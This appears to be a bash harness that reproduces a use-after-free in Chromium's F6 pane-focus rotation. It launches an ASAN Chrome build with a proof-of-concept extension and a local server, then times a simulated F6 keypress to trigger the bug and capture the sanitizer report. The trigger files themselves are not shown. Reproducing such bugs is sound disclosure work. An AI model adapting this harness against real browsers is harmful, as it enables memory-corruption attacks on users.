#!/bin/bash
# End-to-end driver for the F6/RotatePaneFocus initially_focused_view UAF POC.
set -u

ARTIFACTS="$(cd "$(dirname "$0")" && pwd)"
CHROME="${CHROME:-/chromium/chromium/src/out/asan/chrome}"
PROFILE=/tmp/chrome-poc-profile
LOG="$ARTIFACTS/asan.log"

rm -rf "$PROFILE"
rm -f "$LOG" /tmp/poc-ready

# Build the F6 keypress simulator.
gcc "$ARTIFACTS/send_f6.c" -o /tmp/send_f6 -lX11 -lXtst || exit 1

# Start the HTTP server.
cd "$ARTIFACTS"
python3 server.py >/dev/null 2>&1 &
SERVER_PID=$!
sleep 1

cleanup() {
  kill $SERVER_PID 2>/dev/null
  kill $CHROME_PID 2>/dev/null
}
trap cleanup EXIT

# Launch the ASAN Chrome with the POC extension loaded.
ASAN_OPTIONS="detect_odr_violation=0:symbolize=1:handle_abort=1:external_symbolizer_path=/chromium/chromium/src/third_party/llvm-build/Release+Asserts/bin/llvm-symbolizer" \
"$CHROME" \
  --no-sandbox --disable-gpu \
  --no-first-run --no-default-browser-check \
  --user-data-dir="$PROFILE" \
  --disable-features=ChromeWhatsNewUI \
  --load-extension="$ARTIFACTS/extension" \
  --enable-logging=stderr --v=0 \
  http://localhost:8080/poc.html \
  >"$LOG" 2>&1 &
CHROME_PID=$!

echo "[run] chrome pid=$CHROME_PID, waiting for ready signal..."
# Wait for the extension to set up the dangling state. The bubble auto-closes
# 5s after showing; the extension signals ~0.6s after the bubble shows, so we
# have ~4s to land F6.
for i in $(seq 1 60); do
  [ -f /tmp/poc-ready ] && break
  if ! kill -0 $CHROME_PID 2>/dev/null; then
    echo "[run] chrome exited early"; tail -50 "$LOG"; exit 1
  fi
  sleep 0.5
done
if [ ! -f /tmp/poc-ready ]; then
  echo "[run] timed out waiting for ready signal"; tail -100 "$LOG"; exit 1
fi
echo "[run] ready signal received; sending F6 (simulated user keypress)"
/tmp/send_f6 4

# Wait for ASAN to dump (or timeout).
for i in $(seq 1 30); do
  if grep -q "ERROR: AddressSanitizer" "$LOG"; then
    echo "[run] ASAN error detected"
    break
  fi
  if ! kill -0 $CHROME_PID 2>/dev/null; then
    echo "[run] chrome exited"
    break
  fi
  sleep 1
done

kill $CHROME_PID 2>/dev/null
wait $CHROME_PID 2>/dev/null

echo "----------------------------------------"
grep -A200 "ERROR: AddressSanitizer" "$LOG" | head -200 \
  || echo "[run] no ASAN error in $LOG"
